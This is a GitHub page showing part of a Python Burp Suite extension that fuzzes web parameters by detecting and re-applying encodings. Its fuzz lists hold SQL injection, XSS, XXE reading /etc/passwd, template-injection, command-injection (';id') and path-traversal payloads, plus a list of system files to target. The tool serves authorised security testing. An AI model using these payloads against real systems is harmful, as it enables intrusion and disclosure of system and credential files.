This repository has been archived by the owner on Mar 18, 2021. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 15
/
burpContextAwareFuzzer.py
1587 lines (1253 loc) · 46.7 KB
/
burpContextAwareFuzzer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python
#
# BurpSuite's payload-generation extension aiming at applying fuzzed test-cases depending
# on the type of payload (basic like integer, string, path; json; GWT; binary) and
# following encoding-scheme applied.
#
# The main goal of this extension is to detect applied encoding scheme, decode the variable,
# detect type of value within a payload and according to that type select proper mutations,
# then apply some modifications / fuzzes and afterwards encode the generated value according
# to previously detected encoding scheme.
#
# There are 5 different level of fuzzing intensity implemented, each of them differs in number
# of test-cases to use per one parameter. The figures are following:
# - Minimal: +/- 50 requests/parameter
# - Low: +/- 100-130 r/p
# - Medium: +/- 150-240 r/p
# - High: +/- 180-440 r/p
# - Extreme: +/- 260-750 r/p
#
# Those figures scale up when the fuzzer is being given with for instance JSON or XML object,
# having N attributes and nodes.
#
# Requirements for Jython (to be installed in Jython's environment):
# - Jython 2.7
# - anytree
# - jwt
#
# On Windows it may be a bit tricky to resolve Jython's requirements. The steps that worked
# for author of this script are:
# -----------------------------------------------------------------------------
# cmd> java -cp jython.jar org.python.util.jython -m ensurepip
# cmd> java -cp jython.jar org.python.util.jython -m ensurepip --upgrade
# cmd> java -cp jython.jar org.python.util.jython
# Jython 2.7.1b3 (default:df42d5d6be04, Feb 3 2016, 03:22:46)
# [Java HotSpot(TM) 64-Bit Server VM (Oracle Corporation)] on java1.8.0_144
# Type "help", "copyright", "credits" or "license" for more information.
# >>> try:
# ... from pip import main as pipmain
# ... except:
# ... from pip._internal import main as pipmain
# ...
# >>> pipmain(['install', '--upgrade', 'pip'])
# >>> pipmain(['install', 'anytree'])
# >>> pipmain(['install', 'pyjwt'])
# -----------------------------------------------------------------------------
#
# KNOWN BUGS / LIMITATIONS:
# At the moment XML payloads fuzzing has been disabled since there is a problem with Jython's ElementTree implementation,
# that is implemented in Xerces SAXParser. Refer to:
# https://support.portswigger.net/customer/portal/questions/16996471-sax2-driver-class-org-apache-xercer-parses-saxparser-not-found
# If you think problem is solved, refer to 'ContextAwareFuzzer.__init__()' and uncomment 'XMLTypeFuzzer' in 'self.typeHandlers'.
#
# Notes:
# This program uses code coming from 'flatten_json' package, that was taken out from that
# package to avoid hassle of installing yet another package.
#
# Mariusz B., 2018
#
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
from java.util import List, ArrayList
import re
import sys
import jwt
import math
import json
import zlib
import string
import base64
import urllib
import random
import anytree
import binascii
import xml.dom.minidom
import xml.etree.ElementTree as ET
from xml.dom import minidom
from xml.dom.minidom import Node
from collections import Counter
from collections import OrderedDict
VERSION = '0.2-alpha'
# This pattern will be appended to generated test cases in order to
# be looked upon when reviewing responses.
UNIQUE_PATTERN_TO_SEARCH_FOR = 'FUZZFUZZ'
# ==========================================================
# SOME PREDEFINED, WISELY CHOSEN FUZZ STRINGS
# AND OTHER TEST-CASE PATTERNS
#
# This list will be appended to various test-cases
FUZZ_APPEND_LIST = (
"'",
'"',
"`",
"~",
"'\"'",
"\"''''\"'\"",
"\"",
"\\'",
"\\\"",
"/",
"/\\",
"//",
"//\\",
"\\",
"\\/",
"\\\\",
"\\\\/",
"&",
"|",
"}",
"*",
"*/*",
"//*",
":",
";",
"@",
"@*",
"(",
")",
"?*",
"%00",
"%0D%0A%0D%0A",
' --help',
' --version',
" or 1=1",
" or 1=1 --",
" or 1=1 #",
"' or 1=1 --",
"\" or 1=1 --",
"' or 1=1 #",
"\" or 1=1 #",
"' or '1'='1",
"' or '1'='1'--",
"' or '1'='1'#",
"\" or \"1\"=\"1",
"\" or \"1\"=\"1\"--",
"\" or \"1\"=\"1\"#",
)
# This list will fill up tested parameter and thus constitute a test-case.
# The order of below test-cases is important.
FUZZ_INSERT_LIST = (
"0",
"1",
"1.0",
"2",
"2147483647",
"268435455",
"65536",
"-1",
"-1.0",
"-2",
"-2147483647",
"-268435455",
"-65536",
"*()|%26'",
"*()|&'",
"*(|(mail=*))",
"(*)*)",
"*)*",
"*/*",
"*|",
"@*",
"%70",
".%E2%73%70",
"%2e",
".",
"..",
# Other ones coming from SecLists metacharacters
"!'",
"!@#$%%^#$%#$@#$%$$@#$%^^**(()",
"!@#0%^#0##018387@#0^^**(()",
"$NULL",
"$null",
"%",
"%00",
"(')",
"*'",
"*'",
"*|",
"<?",
"?x=",
"?x=\"",
"?x=|",
"ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|",
# Server side template injection #1
"${666666*1}",
"{666666*1}",
# Twig
"{{666666*1}}",
"{{ '" + UNIQUE_PATTERN_TO_SEARCH_FOR + "'|upper }}",
"{{666666*'1'}}",
"${666666*1}a{{666666}}b",
# Smarty Template: FUZZFUZZ{*comment*}FUZZFUZZ
UNIQUE_PATTERN_TO_SEARCH_FOR + "{*comment*}" + UNIQUE_PATTERN_TO_SEARCH_FOR,
# Mako templates: ${"FUZZFUZZ".join("FUZZFUZZ")}
'${"' + UNIQUE_PATTERN_TO_SEARCH_FOR + '".join("' + UNIQUE_PATTERN_TO_SEARCH_FOR + '"}}',
"'\"><img src=x onerror=alert(/666/)>",
'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>',
"';alert(0)//\\';alert(1)//\";alert(2)//\\\";alert(3)//--></SCRIPT>\">'><SCRIPT>alert(4)</SCRIPT>=&{}\");}alert(6);function xss(){//",
"jaVasCript:/*-/*`/*\`/*'/*\"/**/(/* */oNcliCk=alert(666666) )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert(667667)//>\\x3e",
"\x0d\x0aCC: example@gmail.com\x0d\x0aLocation: www.google.com",
"||cmd.exe&&id||",
"||id||",
";id",
# -----
"?x=>",
"[']",
"\"blah",
"\'",
"\\'",
"\\0",
"\\00",
"\\00\\00",
"\\00\\00\\00",
"\\0\\0",
"\\0\\0\\0",
"\\\\*",
"\\\\?\\",
"\t",
"^'",
"^'",
"id%00",
"id%00|",
"{'}",
"{'}",
"|",
"}\"",
"*)(uid=*))(|(uid=*",
"\"><script>\"",
"%00/",
"%01%02%03%04%0a%0d%0aADSF",
"%0a",
"@'",
"@'",
"FALSE",
"NULL",
"TRUE",
"[']",
'undefined',
'undef',
'null',
'NULL',
'(null)',
'nil',
'NIL',
'true',
'false',
'True',
'False',
'TRUE',
'FALSE',
'None',
'hasOwnProperty',
"count(/child::node())",
"{}",
'{"1":"0"}',
'{"1":0}',
'{"0":"\\x00"}',
'{"0":[]}',
'{"0":[1]}',
'{"0":[1,2]}',
'{"0":["1","2"]}',
'{"\\x00":"0"}',
'{"\\x00":0}',
'{"\\x00":""}',
'{"\\x00":[]}',
'{"\\x00":[1]}',
'{"\\x00":[1,2]}',
"\">xxx<P>yyy",
"\"\t\"",
"#",
"#'",
"#'",
"#xA",
"#xA#xD",
"#xD",
"#xD#xA",
"%2500",
"%250a",
"%2A",
"%2C",
"%2e%2e%2f",
"%3C%3F",
"%5C",
"%5C/",
"%60",
"%7C",
" ",
" ",
" ",
" ",
"'",
"";id"",
"..%%35%63",
"..%%35c",
"..%25%35%63",
"..%255c",
"..%5c",
"..%bg%qf",
"..%c0%af",
"..%u2215",
"..%u2216",
"../",
"..\\",
"/%00/",
"/%2A",
"/'",
"0xfffffff",
)
PATH_TRAVERSAL_FILES = {
'linux': (
r'.htpasswd',
r'/etc/passwd',
r'/proc/self/environ',
#r'/etc/crontab',
r'/etc/fstab',
r'/etc/group',
r'/etc/hostname',
r'/etc/hosts',
#r'/var/log/dmesg',
#r'/var/log/auth',
r'/etc/issue',
#r'/etc/resolv.conf',
),
'windows' : (
r'\Windows\win.ini',
r'\boot.ini',
r'\winnt\win.ini',
r'\inetpub\wwwroot\index.asp',
)
}
# =============================================
# RE-ENCODER'S IMPLEMENTATION
#
class ReEncoder:
# Switch this to show some verbose informations about decoding process.
DEBUG = False
PREFER_AUTO = 0 # Automatically determine final output format
PREFER_TEXT = 1 # Prefer text/printable final output format
PREFER_BINARY = 2 # Prefer binary final output format
class Utils:
@staticmethod
def isBinaryData(data):
nonBinary = 0
percOfBinaryToAssume = 0.10
for d in data:
c = ord(d)
if c in (10, 13):
nonBinary += 1
elif c >= 0x20 and c <= 0x7f:
nonBinary += 1
binary = len(data) - nonBinary
return binary >= int(percOfBinaryToAssume * len(data))
# ============================================================
# ENCODERS SECTION
#
class Encoder:
def name(self):
raise NotImplementedError
def check(self, data):
raise NotImplementedError
def encode(self, data):
raise NotImplementedError
def decode(self, data):
raise NotImplementedError
class NoneEncoder(Encoder):
def name(self):
return 'None'
def check(self, data):
if not data:
return False
return True
def encode(self, data):
return data
def decode(self, data):
return data
class URLEncoder(Encoder):
def name(self):
return 'URLEncoder'
def check(self, data):
if urllib.quote(urllib.unquote(data)) == data and (urllib.unquote(data) != data):
return True
if re.search(r'(?:%[0-9a-f]{2})+', data, re.I):
return True
return False
def encode(self, data):
return urllib.quote(data)
def decode(self, data):
return urllib.unquote(data)
class HexEncoder(Encoder):
def name(self):
return 'HexEncoded'
def check(self, data):
m = re.match(r'^[0-9a-f]+$', data, re.I)
if m:
return True
return False
def encode(self, data):
return binascii.hexlify(data).strip()
def decode(self, data):
return binascii.unhexlify(data).strip()
class Base64Encoder(Encoder):
def name(self):
return 'Base64'
def check(self, data):
try:
if base64.b64encode(base64.b64decode(data)) == data:
m = re.match('^(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{4})$', data, re.I)
if m:
return True
return False
except:
pass
return False
def encode(self, data):
return base64.b64encode(data)
def decode(self, data):
return base64.b64decode(data)
class Base64URLSafeEncoder(Encoder):
def name(self):
return 'Base64URLSafe'
def check(self, data):
try:
if base64.urlsafe_b64encode(base64.urlsafe_b64decode(data)) == data:
m = re.match('^(?:[A-Za-z0-9\-_]{4})*(?:[A-Za-z0-9\-_]{2}==|[A-Za-z0-9\-_]{3}=|[A-Za-z0-9\-_]{4})$', data, re.I)
if m:
return True
return False
except:
pass
return False
def encode(self, data):
return base64.urlsafe_b64encode(data)
def decode(self, data):
return base64.urlsafe_b64decode(data)
class JWTEncoder(Encoder):
secret = ''
def name(self):
return 'JWT'
def check(self, data):
try:
jwt.decode(data, verify = False)
return True
except jwt.exceptions.DecodeError:
return False
def encode(self, data):
return jwt.encode(data, JWTEncoder.secret)
def decode(self, data):
return jwt.decode(data, verify = False)
class ZlibEncoder(Encoder):
def name(self):
return 'ZLIB'
def check(self, data):
if not ReEncoder.Utils.isBinaryData(data):
return False
try:
if zlib.compress(zlib.decompress(data)) == data:
return True
except:
pass
return False
def encode(self, data):
return zlib.compress(data)
def decode(self, data):
return zlib.decompress(data)
# ============================================================
# ENCODING DETECTION IMPLEMENTATION
#
MaxEncodingDepth = 20
def __init__(self):
self.encodings = []
self.encoders = (
ReEncoder.URLEncoder(),
ReEncoder.HexEncoder(),
ReEncoder.Base64Encoder(),
ReEncoder.Base64URLSafeEncoder(),
ReEncoder.JWTEncoder(),
ReEncoder.ZlibEncoder(),
# None must always be the last detector
ReEncoder.NoneEncoder(),
)
self.encodersMap = {}
self.data = ''
self.preferredOutputFormat = ReEncoder.PREFER_AUTO
for encoder in self.encoders:
self.encodersMap[encoder.name()] = encoder
@staticmethod
def log(text):
if ReEncoder.DEBUG:
print(text)
def verifyEncodings(self, encodings):
for encoder in encodings:
if type(encoder) == str:
if not encoder in self.encodersMap.keys():
raise Exception("Passed unknown encoder's name.")
elif not issubclass(ReEncoder.Encoder, encoder):
raise Exception("Passed encoder is of unknown type.")
def generateEncodingTree(self, data):
step = 0
maxSteps = len(self.encoders) * ReEncoder.MaxEncodingDepth
peeledBefore = 0
peeledOff = 0
currData = data
while step < maxSteps:
peeledBefore = peeledOff
for encoder in self.encoders:
step += 1
ReEncoder.log('[.] Trying: {} (peeled off: {}). Current form: "{}"'.format(encoder.name(), peeledOff, currData))
if encoder.check(currData):
if encoder.name() == 'None':
continue
if encoder.name().lower().startswith('base64') and (len(currData) % 4 == 0):
ReEncoder.log('[.] Unclear situation whether input ({}) is Base64 encoded. Branching.'.format(
currData
))
yield ('None', currData, True)
if encoder.name().lower().startswith('hex') and (len(currData) % 2 == 0):
ReEncoder.log('[.] Unclear situation whether input ({}) is Hex encoded. Branching.'.format(
currData
))
yield ('None', currData, True)
ReEncoder.log('[+] Detected encoder: {}'.format(encoder.name()))
currData = encoder.decode(currData)
yield (encoder.name(), currData, False)
peeledOff += 1
break
if (peeledOff - peeledBefore) == 0:
break
def formEncodingCandidates(self, root):
iters = [[node for node in children] for children in anytree.LevelOrderGroupIter(root)]
candidates = []
for node in iters[-1]:
name = node.name
decoded = node.decoded
ReEncoder.log('[.] Candidate for best decode using {}: "{}"...'.format(
name, decoded[:20]
))
candidates.append([name, decoded, 0.0])
return candidates
@staticmethod
def entropy(data, unit='natural'):
base = {
'shannon' : 2.,
'natural' : math.exp(1),
'hartley' : 10.
}
if len(data) <= 1:
return 0
counts = Counter()
for d in data:
counts[d] += 1
probs = [float(c) / len(data) for c in counts.values()]
probs = [p for p in probs if p > 0.]
ent = 0
for p in probs:
if p > 0.:
ent -= p * math.log(p, base[unit])
return ent
def evaluateEncodingTree(self, root):
(printableEncodings, printableCandidate) = self.evaluateEncodingTreePicker(root, False)
(binaryEncodings, binaryCandidate) = self.evaluateEncodingTreePicker(root, True)
if self.preferredOutputFormat == ReEncoder.PREFER_TEXT:
ReEncoder.log('Returning text/printable output format as requested preferred one.')
return printableEncodings
elif self.preferredOutputFormat == ReEncoder.PREFER_BINARY:
ReEncoder.log('Returning binary output format as requested preferred one.')
return binaryEncodings
else:
ReEncoder.log('Trying to determine preferred output format...')
ReEncoder.log('\n---------------------------------------')
ReEncoder.log('[>] Winning printable encoding path scored: {} points.'.format(
printableCandidate[2]
))
ReEncoder.log('[>] Winning binary encoding path scored: {} points.'.format(
binaryCandidate[2]
))
if(printableCandidate[2] >= binaryCandidate[2]):
ReEncoder.log('\n[+] Choosing all-time winner: PRINTABLE output format.')
return printableEncodings
ReEncoder.log('\n[+] Choosing all-time winner: BINARY output format.')
ReEncoder.log('---------------------------------------\n')
return binaryEncodings
def evaluateEncodingTreePicker(self, root, preferBinary):
candidates = self._evaluateEncodingTreeWorker(root, preferBinary)
maxCandidate = 0
for i in range(len(candidates)):
candidate = candidates[i]
name = candidate[0]
decoded = candidate[1]
points = float(candidate[2])
if points > candidates[maxCandidate][2]:
maxCandidate = i
winningCandidate = candidates[maxCandidate]
winningPaths = anytree.search.findall_by_attr(
root,
name = 'decoded',
value = winningCandidate[1]
)
ReEncoder.log('[?] Other equally good candidate paths:\n' + str(winningPaths))
winningPath = winningPaths[0]
preferred = 'printable'
if preferBinary:
preferred = 'binary'
ReEncoder.log('[+] Winning decode path for {} output is:\n{}'.format(
preferred,
str(winningPath))
)
encodings = [x.name for x in winningPath.path if x != 'None']
return (encodings, winningCandidate)
def _evaluateEncodingTreeWorker(self, root, preferBinary = False):
weights = {
'unreadableChars' : 0.0,
'printableChars' : 9.6,
'entropyScore' : 4.0,
'length' : 1.0,
}
if preferBinary:
weights['unreadableChars'] = 24.0
weights['printableChars'] = 0.0
weights['entropyScore'] = 2.666667
candidates = self.formEncodingCandidates(root)
for i in range(len(candidates)):
candidate = candidates[i]
name = candidate[0]
decoded = candidate[1]
points = float(candidate[2])
entropy = ReEncoder.entropy(decoded)
printables = sum([int(x in string.printable) for x in decoded])
nonprintables = len(decoded) - printables
ReEncoder.log('[=] Evaluating candidate: {} (entropy: {}, data: "{}")'.format(
name, entropy, decoded
))
# Step 1: Adding points for printable percentage.
printablePoints = float(weights['printableChars']) * (float(printables) / float(len(decoded)))
nonPrintablePoints = float(weights['unreadableChars']) * (float(nonprintables) / float(len(decoded)))
# Step 2: If encoder is Base64 and was previously None
# - then length and entropy of previous values should be of slighly lower weights
if name.lower() == 'none' \
and len(candidates) > i+1 \
and candidates[i+1][0].lower().startswith('base64'):
ReEncoder.log('\tAdding fine for being base64')
entropyPoints = entropy * (weights['entropyScore'] * 0.666666)
lengthPoints = float(len(decoded)) * (weights['length'] * 0.666666)
else:
entropyPoints = entropy * weights['entropyScore']
lengthPoints = float(len(decoded)) * weights['length']
if printables > nonprintables:
ReEncoder.log('More printable chars than binary ones.')
ReEncoder.log('\tAdding {} points for printable entropy.'.format(entropyPoints))
ReEncoder.log('\tAdding {} points for printable characters.'.format(printablePoints))
points += printablePoints
else:
ReEncoder.log('More binary chars than printable ones.')
ReEncoder.log('\tAdding {} points for binary entropy.'.format(entropyPoints))
ReEncoder.log('\tAdding {} points for binary characters.'.format(nonPrintablePoints))
points += nonPrintablePoints
points += entropyPoints
# Step 4: Add points for length
ReEncoder.log('\tAdding {} points for length.'.format(lengthPoints))
points += lengthPoints
ReEncoder.log('\tScored in total: {} points.'.format(points))
candidates[i][2] = points
return candidates
def getWinningDecodePath(self, root):
return [x for x in self.evaluateEncodingTree(root) if x != 'None']
def process(self, data):
root = anytree.Node('None', decoded = data)
prev = root
for (name, curr, branch) in self.generateEncodingTree(data):
ReEncoder.log('[*] Generator returned: ("{}", "{}", {})'.format(
name, curr[:20], str(branch)
))
currNode = anytree.Node(name, parent = prev, decoded = curr)
if branch:
pass
else:
prev = currNode
for pre, fill, node in anytree.RenderTree(root):
if node.name != 'None':
ReEncoder.log("%s%s (%s)" % (pre, node.name, node.decoded[:20].decode('ascii', 'ignore')))
self.encodings = self.getWinningDecodePath(root)
ReEncoder.log('[+] Selected encodings: {}'.format(str(self.encodings)))
def decode(self, data, preferredOutputFormat = PREFER_AUTO, encodings = []):
self.preferredOutputFormat = preferredOutputFormat
if preferredOutputFormat != ReEncoder.PREFER_AUTO and \
preferredOutputFormat != ReEncoder.PREFER_TEXT and \
preferredOutputFormat != ReEncoder.PREFER_BINARY:
raise Exception('Unknown preferred output format specified in decode(): {}'.format(
preferredOutputFormat
))
if not encodings:
self.process(data)
else:
self.verifyEncodings(encodings)
self.encodings = encodings
for encoderName in self.encodings:
d = self.encodersMap[encoderName].decode(data)
data = d
return data
def encode(self, data, encodings = []):
if encodings:
encodings.reverse()
self.verifyEncodings(encodings)
self.encodings = encodings
for encoderName in self.encodings[::-1]:
e = self.encodersMap[encoderName].encode(data)
data = e
return data
class BaseFuzzer:
def name(self):
raise NotImplementedError
def check(self, data):
raise NotImplementedError
def getMutations(self, data):
raise NotImplementedError
def reset(self):
raise NotImplementedError
class BasicTypeFuzzer(BaseFuzzer):
def __init__(self, intensity):
self.mutations = []
self.intensity = intensity
def reset(self):
self.mutations = []
def name(self):
return 'BasicType'
def findType(self, data):
try:
val = int(data)
return 'integer'
except ValueError:
pass
try:
val = float(data)
return 'float'
except ValueError:
pass
printable = sum([int(x in string.printable) for x in data]) == len(data)
if printable:
forbidden = ('<', '>', ':', '"', '|', '?', '*')
for f in forbidden:
if f in data:
return 'string'
if data.count('/') <= 1 and data.count('\\') <= 1:
return 'string'
try:
if (len(data) % 4 != 0 or data.endswith('=')) and \
base64.b64encode(base64.b64decode(data)) == data:
# This happens to be valid base64
return 'string'
except:
pass
regexes = (
# Windows path
r'^(?:[a-zA-Z]:)?\\?[\\\S|*\S]?.*$',
# Linux path
r'^(\/?[^\/]*)+',
)
for r in regexes:
if re.match(r, data, re.I):
return 'path'
return 'string'
else:
return ''
def check(self, data):
return self.findType(data) != ''
def stringMutator(self, payload):
offset = random.randint(0, len(payload) - 1)
mutated0 = payload[:offset]
mutated1 = payload[offset:]
# 1/2 + 1 = 1
# 2/2 + 1 = 2
# 5/2 + 1 = 3
# 8/2 + 1 = 5
# 10/2 + 1 = 6
numberOfMutations = self.intensity / 2 + 1
# Mutations #4: Add some repeated values
for i in range(numberOfMutations):
try:
chunkLen = random.randint(len(payload[offset:]), len(payload) - 1)
except ValueError:
chunkLen = len(payload) - offset
repeater = random.randint(1, 10)
repeated = mutated0
for i in range(repeater):
repeated += payload[offset : offset + chunkLen]
self.mutations.append(repeated + mutated1)
# Mutations #5: Some random bit flips
for i in range(numberOfMutations):
byte = random.randint(0, len(payload) - 1)
bit = random.randint(0, 7)
mutatedByte = '%{:02x}'.format( (ord(payload[byte]) ^ (1 << bit)) % 255 )
mutated = payload[:byte - 1] + mutatedByte + payload[byte + 1:]
self.mutations.append(mutated)
# Mutations #6: Add those cut in half pieces
self.mutations.append(mutated0)
self.mutations.append(mutated1)
return list(set(self.mutations))
def genericMutations(self, payload):
offset = random.randint(0, len(payload) - 1)
mutated0 = payload[:offset]